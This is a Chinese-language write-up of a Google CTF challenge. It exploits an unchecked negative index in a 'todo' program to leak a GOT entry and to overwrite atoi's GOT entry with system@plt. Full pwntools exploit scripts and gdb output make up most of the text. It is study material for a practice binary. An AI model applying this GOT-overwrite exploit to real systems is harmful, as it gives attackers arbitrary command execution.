本文是 plt 和 got 表相关的漏洞利用实例,是 Google CTF 中的一道题,题目给了源码和 binary。
通过阅读代码,可以发现
int idx = read_int();
if (idx > TODO_COUNT) {
puts(OUT_OF_BOUNDS_MESSAGE);
return;
}
printf("What's your TODO? ");
fflush(stdout);
read_line(&todos[idx*TODO_LENGTH], TODO_LENGTH);
这里虽然检查了 idx
最大不能超过某个范围,但是没有检查小于零的情况,所以如果构造小于零的 idx
,就可以读取比 todos
数组地址还小的位置的内存了,同理,在 write_all
函数中,也可以任意的去写这个位置的内存。
todos
是一个全局变量,所以它的内存地址是确定的,是在 bss 段。因为 todos
的索引会乘以 TODO_LENGTH
,所以内存的读取是跳跃的,每次都相差 48 个字节。
使用 gdb 调试,set follow-fork-mode parent
然后 b main
p &todos
可以看到内存地址。
gdb-peda$ p &todos
$1 = (<data variable, no debug info> *) 0x555555757140 <todos>
在 IDA 中,也可以看到 todos
和 got
表距离也非常近,写一个小程序算一下
base = 0x203140
for i in range(10):
print hex(base - i * 48)
结合 IDA 的结果和计算输出的结果,可以标记出来一些有用的数据
0x203140 -> todos
0x203110
0x2030e0
0x2030b0
0x203088(非整数倍) -> atoi
0x203080 -> open
0x203050 -> strncat
0x203020 -> write
0x202ff0
0x202fc0
0x202f90
比如先读一下 write
的地址
[-------------------------------------code-------------------------------------]
0x555555554900 <puts@plt>: jmp QWORD PTR [rip+0x202712] # 0x555555757018
0x555555554906 <puts@plt+6>: push 0x0
0x55555555490b <puts@plt+11>: jmp 0x5555555548f0
=> 0x555555554910 <write@plt>: jmp QWORD PTR [rip+0x20270a] # 0x555555757020
| 0x555555554916 <write@plt+6>: push 0x1
| 0x55555555491b <write@plt+11>: jmp 0x5555555548f0
| 0x555555554920 <strlen@plt>: jmp QWORD PTR [rip+0x202702] # 0x555555757028
| 0x555555554926 <strlen@plt+6>: push 0x2
|-> 0x555555554916 <write@plt+6>: push 0x1
0x55555555491b <write@plt+11>: jmp 0x5555555548f0
0x555555554920 <strlen@plt>: jmp QWORD PTR [rip+0x202702] # 0x555555757028
0x555555554926 <strlen@plt+6>: push 0x2
JUMP is taken
[------------------------------------stack-------------------------------------]
重新画一下数据分布图
0x555555757140 -> todos
0x555555757110
0x5555557570e0
0x5555557570b0
0x555555757080
0x555555757050
0x555555757020 => 0x555555554916 -> write@plt+6
由以前的知识就知道 0x555555757020
就是 write
的 got 表的地址,减去刚才已知的 todos
的位置,正好是 (0x555555757020 - 0x555555757140) / 48 == -6
。
可以先构造一个读取 write
的 got 表地址 exp
from pwn import *
from struct import unpack
proc = process("./todo")
proc.send("admin\n")
proc.readuntil(">")
proc.send("2\n")
proc.readuntil("read?")
proc.send("-6\n")
res = proc.readuntil("Hi admin,").splitlines()[0]
write_addr = res.split(':', 1)[1][1:].ljust(8, chr(0))
write_addr = unpack("<Q", write_addr)[0]
print hex(write_addr)
其中 <Q
是指定按照小端序读取 8 个字节作为一个数字。因为这时候 write 函数还没有被解析,所以 got 表中的 write
还是指向 write@plt+6
的。
剩下的步骤就简单多了,在 store_todo
函数中,可以将我们的输入写入 got 表的位置,所以应该是将 system@plt
的地址写入接下来要运行的参数可控的函数的 got 表的位置。发现 atoi
函数是一个选择,函数的偏移是确定的,system@plt
- write@plt+6
也就是 0x555555554940 - 0x555555554916 = 0x2a
(atoi@plt
的地址可以使用 info addr atoi@plt
获取,是在偏移 -4 再加 8 个字节)。
完整 exp 如下
from pwn import *
from struct import unpack, pack
proc = process("./todo")
proc.send("admin\n")
proc.readuntil(">")
proc.send("2\n")
proc.readuntil("read?")
proc.send("-6\n")
res = proc.readuntil("Hi admin,").splitlines()[0]
write_addr = res.split(':', 1)[1][1:].ljust(8, chr(0))
write_addr = unpack("<Q", write_addr)[0]
print hex(write_addr)
proc.send("3\n")
proc.readuntil("entry?")
proc.send("-4\n")
proc.readuntil("TODO?")
proc.send("AAAAAAAA" + pack("<Q", write_addr + 0x2a)[:8] + "\n")
proc.interactive()
参考
- https://hackso.me/google-ctf-beginners-quest-part-2/